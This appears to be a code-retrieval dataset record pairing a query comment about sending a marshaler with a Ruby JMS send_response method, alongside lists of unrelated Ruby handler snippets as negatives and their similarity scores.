"def finish_response\n close unless keep_alive?\n\n @parser.reset\n @socket.reset_counter if @socket.respond_to?(:reset_counter)\n reset_timer\n\n @pending_response = false\n end",
"def on_response( &block )\n @postprocessor = block\n end",
"def process!(response_data={})\n @client.post(\"#{path}/process\", response_data)\n end",
"def handle_return(header, message)\n begin\n to = if header.exchange && !header.exchange.empty? then header.exchange else header.routing_key end\n reason = header.reply_text\n callback = @options[:return_message_callback]\n logger.__send__(callback ? :debug : :info, \"RETURN #{@alias} for #{to} because #{reason}\")\n callback.call(@identity, to, reason, message) if callback\n rescue Exception => e\n logger.exception(\"Failed return #{header.inspect} of message from broker #{@alias}\", e, :trace)\n @exception_stats.track(\"return\", e)\n end\n true\n end",
"def after_response(status_hash, responder)\n end",
"def process_result\n end",
"def process_message(message)\n end",
"def process_message(message)\n # TODO: May want to ignore some messages (say, if the community string is wrong)\n message.respond(dispatch(message))\n end",
"def handle_item(msg)\n return nil unless @options['outgoing_token'].include? msg[:token] # ensure messages are for us from slack\n return nil if msg[:user_name] == 'slackbot' # do not reply to self\n return nil unless msg[:text].is_a?(String) # skip empty messages\n\n ## loop things to look for and collect immediate responses\n ## rescue everything here so the bot keeps running even with a broken script\n responses = @regexes.map do |regex, proc|\n if mdata = msg[:text].strip.match(regex)\n begin\n Slackbotsy::Message.new(self, msg).instance_exec(mdata, &proc)\n rescue => err\n err\n end\n end\n end\n\n ## format any replies for http response\n if responses\n { text: responses.compact.join(\"\\n\") }.to_json\n end\n end",
"def process_continue_response(reply_document)\n payload_data = parse_payload(reply_document['payload'].data)\n check_server_signature(payload_data)\n end",
"def _on_reply(wi)\n Ruote.participant_send(self, :on_reply, 'workitem' => wi)\n end",
"def on_complete(env)\n env[:body] = case env[:status]\n when 204\n parse('')\n else\n parse(env[:body])\n end\n end",
"def process_data\n begin\n data = ::ActiveSupport::HashWithIndifferentAccess.new(JSON.parse(received_data))\n packet = ::Syncano::Packets::Base.instantize_packet(data)\n\n if packet.notification?\n notification = ::Syncano::Resources::Notifications::Base.instantize_notification(client, packet)\n\n callbacks_queue.each do |callback_name|\n callbacks[callback_name].call(notification)\n end\n elsif packet.call_response?\n queue_response(packet)\n elsif packet.auth?\n queue_response(packet)\n end\n\n self.received_data = ''\n rescue Exception => e\n p 'EXCEPTION!'\n p e.inspect\n end\n end",
"def finish_request\n if (400..499).include? response.code\n set_error_body(response.code)\n end\n end",
"def _roda_handle_route\n catch(:halt) do\n @_request.block_result(yield)\n @_response.finish\n end\n end",
"def handle_response(response)\n begin\n if ok?(response.code)\n if response.body.present?\n parse_response_body(response.body)\n else\n true # blank body\n end\n else\n Rails.logger.error \"Unexpected response #{response.code}, not sure what to do here...\"\n response.message\n end\n rescue => e\n # don't report, just return\n response.message\n end\n end",
"def reply(event)\n msg = event.message['text']\n mk_reply(msg)\nend",
"def handle_messages!\n self.logger.debug { \"Starting message handler.\" }\n \n loop do\n message = nil\n\n # reads data\n self.logger.debug { \"Waiting for messages.\" }\n message = self.protocol.wait_interaction!\n \n # if nil data arrived, it means termination\n if message.nil?\n break\n end\n \n self.logger.debug { \"Message of type '#{message.type}' received.\" }\n\n # calls processing method according to incoming message\n case message.type.to_sym\n when :order\n self.handle_order(message)\n end\n \n end\n \n self.logger.debug { \"Message handler terminated.\" }\n end",
"def handle( request ) # note: all 'handle's return 'ml_response' in a chain\n\n# not yet request.record_arrival_time\n ml_response =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n# not yet request.record_completion_time\n ml_response\n end",
"def process_response(command, text)\n message_id = command[1..99]\n message = Message.find_by_id(message_id)\n#puts \"**** command=#{command}, text=#{text}, @sender.id=#{@sender.id}, message=#{message.id}\"\n if message\n @possible_senders.each do |a_member|\n message.process_response(:member => a_member, :response => text, :mode => 'SMS')\n end\n return I18n.t(\"sms.thanks_for_response\") \n else\n return I18n.t(\"sms.thanks_but_not_found\", :id => message_id) \n end\n return ''\n end",
"def before_processing_hook(msg, connection); end",
"def after_processing\n end",
"def got_response(response)\n end",
"def parse_response!; end",
"def post_process\n end",
"def on_message_return(return_info, properties, message)\n message_options = properties.to_h.merge(routing_key: return_info.routing_key).compact\n\n if return_info.reply_text == 'NO_ROUTE'\n returned_messages << [message, message_options]\n\n Thread.new { process_returned_message }.tap do |thread|\n thread.abort_on_exception = false\n thread.report_on_exception = true\n end\n else\n # Do not raise error here!\n # The best we can do here is to log to STDERR\n warn 'BunnyPublisher::UnsupportedReplyText: '\\\n 'Broker has returned the message with reply_text other than NO_ROUTE '\\\n \"#{[return_info, properties, message]}\"\n end\n end",
"def after_gateway(response, transaction, gw_response, context = nil)\n end",
"def run\n @response ||= build_response catch_halt{ @handler.run }\n end",
"def handle_response\n unless performed?\n if @error.present?\n handle_error(@error)\n else\n respond_with do |format|\n # Browser scope.\n format.html do\n handle_response_html\n end\n # Rails remote form.\n format.js do\n handle_response_js\n end\n # API / xhr scope.\n format.json do\n handle_response_json\n end\n end\n end\n end\n end",
"def on_complete(env)\n if respond_to? :parse\n env[:body] = parse(env[:body]) unless [204,304].index env[:status]\n end\n end",
"def handle( request ) # note: all 'handle's return 'mlResponse' in a chain\n\n request.record_arrival_time\n mlResponse =\n case\n when request.get? then handle_get_muffin(request)\n when request.post? then handle_post(request)\n end\n request.record_completion_time\n mlResponse\n end",
"def receive_replies(connection); end",
"def process_expn\n send_data \"502 Command not implemented\\r\\n\"\n end",
"def process_help\n send_data \"250 Ok, but unimplemented\\r\\n\"\n end",
"def process_mailbox\n handler.process\n end",
"def process_response\n LOGGER.debug \"WORLDCAT DISCOVERY - Response from target: #{@response_status}\"\n #LOGGER.debug \"WORLDCAT DISCOVERY - Headers: #{@response_headers.collect{ |k,v| \"#{k} = #{v}\" }.join(', ')}\"\n #LOGGER.debug \"WORLDCAT DISCOVERY - Body: uncomment line!\"\n LOGGER.debug @response_body\n \n @response_body\n end",
"def on_message_complete\n @currently_reading.finish_reading! if @currently_reading.is_a?(Request)\n\n if @currently_responding\n @pending_responses << @currently_reading\n else\n @currently_responding = @currently_reading\n end\n\n @currently_reading = @pending_reads.shift\n end",
"def handle_message(message)\n if @response_wait_list.waiting_for?(message)\n @response_wait_list.received(message)\n else\n @listener.receive_message(message)\n end\n end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def response; end",
"def process(request, response)\r\n catch(:abort) do\r\n super(request, response)\r\n end\r\n response\r\n end",
"def do_reply(msg)\n\n workitem = msg['workitem']\n fei = workitem['fei']\n\n removed = h.children.delete(fei)\n # accept without any check ?\n\n if msg['flanking']\n\n (h.flanks ||= []) << fei\n\n if (not removed) # then it's a timer\n\n do_persist\n return\n end\n end\n\n if ut = msg['updated_tree']\n\n ct = tree.dup\n ct.last[Ruote::FlowExpressionId.child_id(fei)] = ut\n update_tree(ct)\n end\n\n if h.state == 'paused'\n\n (h.paused_replies ||= []) << msg\n\n do_persist\n\n elsif h.state != nil # failing or timing out ...\n\n if h.children.size < 1\n reply_to_parent(workitem)\n else\n #persist_or_raise # for the updated h.children\n do_persist\n end\n\n else # vanilla reply\n\n reply(workitem)\n end\n end",
"def receive_reply(reply)\n FSR::Log.debug reply.inspect\n end",
"def execute\n previous_time = Time.now\n\n publish_message(message(@channel, @data))\n\n @response_time = (Time.now - previous_time) * 1000 # Miliseconds\n @response_code = 1\n rescue Exception => e\n @response_code = @response_time = nil\n @response_body = e.message\n end",
"def on_after_response(_http_response)\r\n raise NotImplementedError, 'This method needs\r\n to be implemented in a child class.'\r\n end",
"def process(message)\n end",
"def work(raw_post)\n puts \"Msg received: \" + raw_post\n ack! # we need to let queue know that message was received\n end",
"def handle_message(data)\n if @encoding == :etf\n handle_etf_message(data)\n else\n handle_json_message(data)\n end\n end",
"def post_process; end",
"def call\r\n # TODO: rename to more appropriate one 2007/05/10 by shino\r\n self.modify_message\r\n logger.debug{\"Ap4r::Dispatcher after modification\\n#{@message.to_yaml}\"}\r\n self.invoke\r\n self.validate_response\r\n self.response\r\n end",
"def callback\n return response if called\n self.response = k.inject(\n env.merge(RESPONSE_BODY => body ,\n RESPONSE_STATUS => status,\n RESPONSE_HEADERS => headers,\n RESPONSE_SOCKET => socket,\n FAIL => ((env[FAIL]||[]) + [error]).compact,\n LOG => env[LOG] ||[])){ |r, i| i.call(r) }\n ensure\n self.called = true\n end",
"def handle(body)\n process(:one, body)\n end",
"def on_message_complete\n send_response\n close_socket\n write_to_screen\n end",
"def handle_ack_msg( their_msg )\r\n begin\r\n if their_msg.startup_ack\r\n super\r\n send_next_case\r\n warn \"Started, shouldn't see this again...\" if self.class.debug\r\n return\r\n end\r\n if their_msg.result\r\n self.class.lookup[:results][their_msg.result]||=0\r\n self.class.lookup[:results][their_msg.result]+=1\r\n if their_msg.result=='crash' and their_msg.crashdetail\r\n crashdetail=their_msg.crashdetail\r\n self.class.lookup[:buckets][DetailParser.hash( crashdetail )]=true\r\n # You might want to clear this when outputting status info.\r\n self.class.queue[:bugs] << DetailParser.long_desc( crashdetail )\r\n # Just initials - NOT EXPLOITABLE -> NE etc\r\n classification=DetailParser.classification( crashdetail).split.map {|e| e[0]}.join\r\n self.class.lookup[:classifications][classification]||=0\r\n self.class.lookup[:classifications][classification]+=1\r\n end\r\n else\r\n # Don't cancel the ack timeout here - this is the first ack\r\n # We wait to get the full result, post delivery.\r\n super\r\n send_next_case\r\n end\r\n rescue\r\n raise RuntimeError, \"#{COMPONENT}: Unknown error. #{$!}\"\r\n end\r\n end",
"def on_response( event )\n # You can access the response data being received using the event object:\n #\n # event.data.gsub!( 'SOMETHING', 'ELSE' )\n #\n #BetterCap::Logger.raw \"\\n#{BetterCap::StreamLogger.hexdump( event.data )}\\n\"\n BetterCap::Logger.info \"No response is working fine!\"\n end",
"def process(msg)\n headers = msg[\"headers\"]\n federation = headers[\"federation\"]\n\n Log.info(\"Federation received %s from %s\" % [federation[\"req\"], headers[\"mc_sender\"]])\n\n federation[\"reply-to\"] = headers.delete(\"reply-to\")\n headers[\"reply-to\"] = collective_source_name\n\n record_seen(headers)\n\n Log.debug(\"federation => collective: %s\" % [headers])\n\n @outbox << {\n :targets => federation.delete(\"target\"),\n :req => federation[\"req\"],\n :data => JSON.dump(msg)\n }\n end",
"def handle(data)\n\t\t\t\tprocess_line(data)\n\t\t\tend",
"def end_accepting\n @res\n end",
"def on_complete(env)\n env[:body] = case env[:status]\n when 204\n parse('{}')\n else\n parse(env[:body], env[:response_headers])\n end\n end",
"def hand_finished\n\t\t\t\tloop do\n\t\t\t\t\tline = socket_get\n\t\t\t\t\tinterpret_acpc_matchstate(line) # update cards and things\n\t\t\t\t\tif line == '#END_HAND'\n\t\t\t\t\t\t# now the hand has really finished\n\t\t\t\t\t\tsuper\n\t\t\t\t\t\tbreak\n\t\t\t\t\tend\n\t\t\t\tend\n\t\t\tend",
"def process_response(call, quiet: )\n call.process_response unless quiet\n finished(call)\n end",
"def after_request\n end",
"def receive\n begin\n message = save_message\n rescue => err\n render :text => err.message, :status => 400\n return\n end\n \n begin\n message.process! params\n rescue => err\n message.reply = err.message\n ensure\n if (message.reply != \"Invalid command\")\n collection_id = get_collection_id(params[:body])\n if collection_id and collection_id >0\n message[:collection_id] = collection_id\n end\n end\n message.save\n render :text => message.reply, :content_type => \"text/plain\"\n end\n end"
] | [
"0.71880513",
"0.7132034",
"0.6936627",
"0.6683231",
"0.6683231",
"0.66797817",
"0.6678969",
"0.65748465",
"0.6563915",
"0.6509288",
"0.644981",
"0.64349246",
"0.6408383",
"0.63923377",
"0.6384942",
"0.6376066",
"0.63658786",
"0.63352317",
"0.63301474",
"0.630082",
"0.6293748",
"0.62362945",
"0.6172669",
"0.61401755",
"0.61259484",
"0.60613304",
"0.60532796",
"0.6048865",
"0.6032914",
"0.6031658",
"0.60179806",
"0.60168743",
"0.5973196",
"0.5965796",
"0.59415245",
"0.59335995",
"0.5928009",
"0.591166",
"0.5908659",
"0.59085757",
"0.58963877",
"0.58926445",
"0.5887724",
"0.5885529",
"0.5884738",
"0.588451",
"0.5880513",
"0.5879548",
"0.587449",
"0.587433",
"0.5868962",
"0.5864243",
"0.5858426",
"0.5850636",
"0.5850547",
"0.5850002",
"0.58470994",
"0.5839711",
"0.5838738",
"0.58354825",
"0.58334506",
"0.5824163",
"0.58222884",
"0.58203816",
"0.5817952",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.58130103",
"0.5806543",
"0.5800624",
"0.5797654",
"0.5797644",
"0.5792186",
"0.5781713",
"0.57812405",
"0.5776612",
"0.5772923",
"0.57707083",
"0.5765274",
"0.5755875",
"0.5751605",
"0.5740887",
"0.57387924",
"0.57380736",
"0.5735086",
"0.5730245",
"0.5728989",
"0.5721807",
"0.5717511",
"0.5711829",
"0.57007796"
] | 0.0 | -1 |
Sending marshaler is redundant but saves a lookup | def send_response(marshal_type, marshaler, object)
return false unless message.reply_to
begin
session.producer(:destination => message.reply_to) do |producer|
# For time_to_live and jms_deliver_mode, first use the local response_options if they're' set, otherwise
# use the value from the message attributes if they're' set
time_to_live = @time_to_live || message['mt:response:time_to_live']
persistent = @persistent
persistent = (message['mt:response:persistent'] == 'true') if persistent.nil? && message['mt:response:persistent']
# If persistent isn't set anywhere, then default to true unless time_to_live has been set
persistent = !time_to_live if persistent.nil?
# The reply is persistent if we explicitly set it or if we don't expire
producer.delivery_mode_sym = persistent ? :persistent : :non_persistent
producer.time_to_live = time_to_live.to_i if time_to_live
reply_message = ModernTimes::JMS.create_message(session, marshaler, object)
reply_message.jms_correlation_id = message.jms_message_id
reply_message['mt:marshal'] = marshal_type.to_s
reply_message['mt:worker'] = self.name
yield reply_message if block_given?
producer.send(reply_message)
end
rescue Exception => e
ModernTimes.logger.error {"Error attempting to send response: #{e.message}"}
log_backtrace(e)
end
return true
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def marshall_dump\n end",
"def marshall_dump\n end",
"def serializer; end",
"def serialize!\n end",
"def marshal_dump; end",
"def marshal_load(serialised); end",
"def serializer=(_arg0); end",
"def __send__(*rest) end",
"def process\n demarshal\n end",
"def marshal(_object, _options = {})\n raise NotImplementedError\n end",
"def marshal\n @data\n end",
"def serialize(object) end",
"def post_init\n # setup single-shot version of receive_marshalled_message\n class <<self\n alias_method :receive_marshalled_message, :receive_handshake_message\n end\n end",
"def serialize\n \n end",
"def serialize; end",
"def serialize; end",
"def serialize\n marshall.to_json\n end",
"def serialize(*args, &block); end",
"def serialize(*args, &block); end",
"def with_serializer(object, serializer); end",
"def serialize(object, data); end",
"def serialize\n raise NotImplementedError\n end",
"def serialize\n raise NotImplementedError\n end",
"def emit_serializers!( file, model )\n end",
"def marshal\n Marshal.dump self\n end",
"def marshal\n Marshal.dump self\n end",
"def marshal\n Marshal.dump self\n end",
"def serialize(_object, data); end",
"def serialize(_object, data); end",
"def serialize\n end",
"def _serializer(name)\n self.class.send(:_serializer, name)\n end",
"def unmarshal\n Marshal.restore self\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['merchantPaymentMethodId'].nil?\n _oa = _o['merchantPaymentMethodId']\n if(_oa.is_a? Hash)\n @merchantPaymentMethodId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantPaymentMethodId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantPaymentMethodId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantPaymentMethodId.push String.from_json(_item)\n else\n @merchantPaymentMethodId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantPaymentMethodId = _oa\n end\n end\n if !_o['action'].nil?\n _oa = _o['action']\n if(_oa.is_a? Hash)\n @action = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @action = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @action = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @action.push String.from_json(_item)\n else\n @action.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @action = _oa\n end\n end\n if !_o['newValue'].nil?\n _oa = _o['newValue']\n if(_oa.is_a? Hash)\n @newValue = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @newValue = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @newValue = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @newValue.push String.from_json(_item)\n else\n @newValue.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @newValue = _oa\n end\n end\n if !_o['propagate'].nil?\n _oa = _o['propagate']\n if(_oa.is_a? Hash)\n @propagate = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @propagate = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @propagate = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @propagate.push Boolean.from_json(_item)\n else\n @propagate.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @propagate = _oa\n end\n end\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['request'].nil?\n _oa = _o['request']\n if(_oa.is_a? Hash)\n @request = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @request = Com::Hybris::Cis::Api::Subscription::Model::CisSubscriptionRequest.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @request = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @request.push Com::Hybris::Cis::Api::Subscription::Model::CisSubscriptionRequest.from_json(_item)\n else\n @request.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @request = _oa\n end\n end\n if !_o['amount'].nil?\n _oa = _o['amount']\n if(_oa.is_a? Hash)\n @amount = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @amount = Float.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @amount = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @amount.push Float.from_json(_item)\n else\n @amount.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @amount = _oa\n end\n end\n if !_o['clientAuthorizationId'].nil?\n _oa = _o['clientAuthorizationId']\n if(_oa.is_a? Hash)\n @clientAuthorizationId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @clientAuthorizationId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @clientAuthorizationId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @clientAuthorizationId.push String.from_json(_item)\n else\n @clientAuthorizationId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @clientAuthorizationId = _oa\n end\n end\n if !_o['merchantProductId'].nil?\n _oa = _o['merchantProductId']\n if(_oa.is_a? Hash)\n @merchantProductId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantProductId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantProductId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantProductId.push String.from_json(_item)\n else\n @merchantProductId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantProductId = _oa\n end\n end\n if !_o['sessionTransactionToken'].nil?\n _oa = _o['sessionTransactionToken']\n if(_oa.is_a? Hash)\n @sessionTransactionToken = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @sessionTransactionToken = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @sessionTransactionToken = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @sessionTransactionToken.push String.from_json(_item)\n else\n @sessionTransactionToken.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @sessionTransactionToken = _oa\n end\n end\n end",
"def parse_user_marshal\n name = get_symbol\n\n [object_ref, name, parse]\n end",
"def serialize(method = :to_json)\n super\n end",
"def initialize\n @xmlrpc = ::XMLRPC::Marshal.new\n end",
"def marshal(exchange)\n #puts \"hmn...\"\n producer = exchange.create_producer()\n #puts \"got producer #{producer.inspect}\"\n until (last_exchange = producer.unmarshal()).nil?\n #puts \"marshalling #{last_exchange.outbound.inspect} to #{@endpoint.inspect}...\"\n @endpoint.marshal(last_exchange.flip())\n #puts \"marshalled...\"\n final_exchange = last_exchange\n end\n #puts \"copying response...\"\n final_exchange.copy_response_to(exchange)\n end",
"def serializers\n self._additional_serializers # standard:disable Style/RedundantSelf\n end",
"def init_jaxb_json_hash(_o)\n super _o\n @clientMessageId = String.from_json(_o['clientMessageId']) unless _o['clientMessageId'].nil?\n @transferId = String.from_json(_o['transferId']) unless _o['transferId'].nil?\n end",
"def marshal_dump\n dump\n end",
"def receive_object obj\n # stub\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['effectiveFrom'].nil?\n _oa = _o['effectiveFrom']\n if(_oa.is_a? Hash)\n @effectiveFrom = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @effectiveFrom = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @effectiveFrom = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @effectiveFrom.push String.from_json(_item)\n else\n @effectiveFrom.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @effectiveFrom = _oa\n end\n end\n if !_o['merchantSourceSubscriptionId'].nil?\n _oa = _o['merchantSourceSubscriptionId']\n if(_oa.is_a? Hash)\n @merchantSourceSubscriptionId = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @merchantSourceSubscriptionId = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @merchantSourceSubscriptionId = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @merchantSourceSubscriptionId.push String.from_json(_item)\n else\n @merchantSourceSubscriptionId.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @merchantSourceSubscriptionId = _oa\n end\n end\n if !_o['settlement'].nil?\n _oa = _o['settlement']\n if(_oa.is_a? Hash)\n @settlement = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @settlement = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @settlement = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @settlement.push String.from_json(_item)\n else\n @settlement.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @settlement = _oa\n end\n end\n if !_o['preview'].nil?\n _oa = _o['preview']\n if(_oa.is_a? Hash)\n @preview = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @preview = Boolean.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @preview = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @preview.push Boolean.from_json(_item)\n else\n @preview.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @preview = _oa\n end\n end\n end",
"def get_field_deserializers()\n return super.merge({\n \"certificate\" => lambda {|n| @certificate = n.get_string_value() },\n \"printer\" => lambda {|n| @printer = n.get_object_value(lambda {|pn| MicrosoftGraph::Models::Printer.create_from_discriminator_value(pn) }) },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appId\" => lambda {|n| @app_id = n.get_string_value() },\n \"displayName\" => lambda {|n| @display_name = n.get_string_value() },\n \"objectId\" => lambda {|n| @object_id_escaped = n.get_string_value() },\n \"publisher\" => lambda {|n| @publisher = n.get_string_value() },\n })\n end",
"def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"attachments\", @attachments)\n writer.write_collection_of_object_values(\"bccRecipients\", @bcc_recipients)\n writer.write_object_value(\"body\", @body)\n writer.write_string_value(\"bodyPreview\", @body_preview)\n writer.write_collection_of_object_values(\"ccRecipients\", @cc_recipients)\n writer.write_string_value(\"conversationId\", @conversation_id)\n writer.write_object_value(\"conversationIndex\", @conversation_index)\n writer.write_collection_of_object_values(\"extensions\", @extensions)\n writer.write_object_value(\"flag\", @flag)\n writer.write_object_value(\"from\", @from)\n writer.write_boolean_value(\"hasAttachments\", @has_attachments)\n writer.write_enum_value(\"importance\", @importance)\n writer.write_enum_value(\"inferenceClassification\", @inference_classification)\n writer.write_collection_of_object_values(\"internetMessageHeaders\", @internet_message_headers)\n writer.write_string_value(\"internetMessageId\", @internet_message_id)\n writer.write_boolean_value(\"isDeliveryReceiptRequested\", @is_delivery_receipt_requested)\n writer.write_boolean_value(\"isDraft\", @is_draft)\n writer.write_boolean_value(\"isRead\", @is_read)\n writer.write_boolean_value(\"isReadReceiptRequested\", @is_read_receipt_requested)\n writer.write_collection_of_object_values(\"multiValueExtendedProperties\", @multi_value_extended_properties)\n writer.write_string_value(\"parentFolderId\", @parent_folder_id)\n writer.write_date_time_value(\"receivedDateTime\", @received_date_time)\n writer.write_collection_of_object_values(\"replyTo\", @reply_to)\n writer.write_object_value(\"sender\", @sender)\n writer.write_date_time_value(\"sentDateTime\", @sent_date_time)\n writer.write_collection_of_object_values(\"singleValueExtendedProperties\", @single_value_extended_properties)\n writer.write_string_value(\"subject\", @subject)\n writer.write_collection_of_object_values(\"toRecipients\", @to_recipients)\n writer.write_object_value(\"uniqueBody\", @unique_body)\n writer.write_string_value(\"webLink\", @web_link)\n end",
"def markUnmarshalledObj( node, obj )\n Thread.current[ :SOAPMarshalDataKey ][ node.id ] = obj\n end",
"def markUnmarshalledObj( node, obj )\n Thread.current[ :SOAPMarshalDataKey ][ node.id ] = obj\n end",
"def get_field_deserializers()\n return super.merge({\n \"applicationId\" => lambda {|n| @application_id = n.get_string_value() },\n \"changeType\" => lambda {|n| @change_type = n.get_string_value() },\n \"clientState\" => lambda {|n| @client_state = n.get_string_value() },\n \"creatorId\" => lambda {|n| @creator_id = n.get_string_value() },\n \"encryptionCertificate\" => lambda {|n| @encryption_certificate = n.get_string_value() },\n \"encryptionCertificateId\" => lambda {|n| @encryption_certificate_id = n.get_string_value() },\n \"expirationDateTime\" => lambda {|n| @expiration_date_time = n.get_date_time_value() },\n \"includeResourceData\" => lambda {|n| @include_resource_data = n.get_boolean_value() },\n \"latestSupportedTlsVersion\" => lambda {|n| @latest_supported_tls_version = n.get_string_value() },\n \"lifecycleNotificationUrl\" => lambda {|n| @lifecycle_notification_url = n.get_string_value() },\n \"notificationQueryOptions\" => lambda {|n| @notification_query_options = n.get_string_value() },\n \"notificationUrl\" => lambda {|n| @notification_url = n.get_string_value() },\n \"notificationUrlAppId\" => lambda {|n| @notification_url_app_id = n.get_string_value() },\n \"resource\" => lambda {|n| @resource = n.get_string_value() },\n })\n end",
"def get_field_deserializers()\n return super.merge({\n \"appDisplayName\" => lambda {|n| @app_display_name = n.get_string_value() },\n \"dataType\" => lambda {|n| @data_type = n.get_string_value() },\n \"isSyncedFromOnPremises\" => lambda {|n| @is_synced_from_on_premises = n.get_boolean_value() },\n \"name\" => lambda {|n| @name = n.get_string_value() },\n \"targetObjects\" => lambda {|n| @target_objects = n.get_collection_of_primitive_values(String) },\n })\n end",
"def init_jaxb_json_hash(_o)\n super _o\n if !_o['mimeType'].nil?\n _oa = _o['mimeType']\n if(_oa.is_a? Hash)\n @mimeType = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @mimeType = String.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @mimeType = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @mimeType.push String.from_json(_item)\n else\n @mimeType.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @mimeType = _oa\n end\n end\n if !_o['bytes'].nil?\n _oa = _o['bytes']\n if(_oa.is_a? Hash)\n @bytes = EnunciateHelpers::LAMB_CLASS_AWARE.call(_oa) if _oa['@class']\n @bytes = Fixnum.from_json(_oa) unless _oa['@class']\n elsif (_oa.is_a? Array)\n #an array(of hashes hopefully) or scalar\n @bytes = Array.new\n _oa.each { | _item | \n if ((_item.nil? || _item['@class'].nil?)rescue true)\n @bytes.push Fixnum.from_json(_item)\n else\n @bytes.push EnunciateHelpers::LAMB_CLASS_AWARE.call(_item)\n end\n }\n else\n @bytes = _oa\n end\n end\n 